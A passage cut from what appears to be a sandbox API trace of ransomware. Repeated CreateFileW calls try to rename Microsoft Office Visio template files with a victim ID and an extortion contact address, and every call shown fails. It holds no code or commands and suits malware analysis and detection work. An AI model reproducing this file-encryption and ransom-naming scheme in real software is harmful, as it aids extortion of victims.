content\\1033\\ceilpl_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.135] CloseHandle (hObject=0x1074) returned 1 [0274.137] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.137] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_HORIZONTAL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cff_horizontal_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.377] CloseHandle (hObject=0x1074) returned 1 [0274.894] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.895] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATFLO_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\datflo_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.895] CloseHandle (hObject=0x1074) returned 1 [0274.895] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.896] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GANESA_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ganesa_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.896] CloseHandle (hObject=0x1074) returned 1 [0274.896] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.896] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GANESA_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ganesa_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.897] CloseHandle (hObject=0x1074) returned 1 [0274.897] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.897] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GANTT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\gantt_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.897] CloseHandle (hObject=0x1074) returned 1 [0274.898] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.898] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GANTT_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\gantt_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.898] CloseHandle (hObject=0x1074) returned 1 [0274.899] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.899] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GANTT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\gantt_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.899] CloseHandle (hObject=0x1074) returned 1 [0274.900] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.900] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GANTT_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\gantt_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.900] CloseHandle (hObject=0x1074) returned 1 [0274.901] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.901] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GARDEN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\garden_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.901] CloseHandle (hObject=0x1074) returned 1 [0274.902] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.902] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GARDEN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\garden_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.902] CloseHandle (hObject=0x1074) returned 1 [0274.903] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.903] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GARDEN_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\garden_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.903] CloseHandle (hObject=0x1074) returned 1 [0274.904] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.904] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GARDEN_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\garden_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.904] CloseHandle (hObject=0x1074) returned 1 [0274.905] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.905] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GDT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\gdt_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.905] CloseHandle (hObject=0x1074) returned 1 [0274.905] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.905] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\GDT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\gdt_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.906] CloseHandle (hObject=0x1074) returned 1 [0274.907] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.907] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HIERARCHICALORGCHART_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hierarchicalorgchart_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.907] CloseHandle (hObject=0x1074) returned 1 [0274.908] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.908] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HIERARCHICALORGCHART_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hierarchicalorgchart_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.908] CloseHandle (hObject=0x1074) returned 1 [0274.909] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.909] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HOMPLN_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hompln_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.909] CloseHandle (hObject=0x1074) returned 1 [0274.910] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.910] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HOMPLN_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hompln_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.910] CloseHandle (hObject=0x1074) returned 1 [0274.911] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.911] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HVACCE_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hvacce_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.911] CloseHandle (hObject=0x1074) returned 1 [0274.912] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.912] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HVACCE_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hvacce_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.912] CloseHandle (hObject=0x1074) returned 1 [0274.913] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.913] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HVACC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hvacc_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.913] CloseHandle (hObject=0x1074) returned 1 [0274.914] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.914] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HVACC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hvacc_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.914] CloseHandle (hObject=0x1074) returned 1 [0274.915] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.915] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HVACD_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hvacd_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.915] CloseHandle (hObject=0x1074) returned 1 [0274.916] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.916] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HVACD_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hvacd_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.916] CloseHandle (hObject=0x1074) returned 1 [0274.917] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.917] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HVACEQ_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hvaceq_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.917] CloseHandle (hObject=0x1074) returned 1 [0274.918] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.918] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HVACEQ_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hvaceq_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.918] CloseHandle (hObject=0x1074) returned 1 [0274.918] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.919] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HVAC_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hvac_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.919] CloseHandle (hObject=0x1074) returned 1 [0274.919] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.919] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\HVAC_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\hvac_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.920] CloseHandle (hObject=0x1074) returned 1 [0274.921] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.921] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\IDEF0_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\idef0_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.921] CloseHandle (hObject=0x1074) returned 1 [0274.922] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.922] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\IDEF0_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\idef0_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.922] CloseHandle (hObject=0x1074) returned 1 [0274.924] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.924] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\IDEF0_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\idef0_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.924] CloseHandle (hObject=0x10bc) returned 1 [0274.925] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.925] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 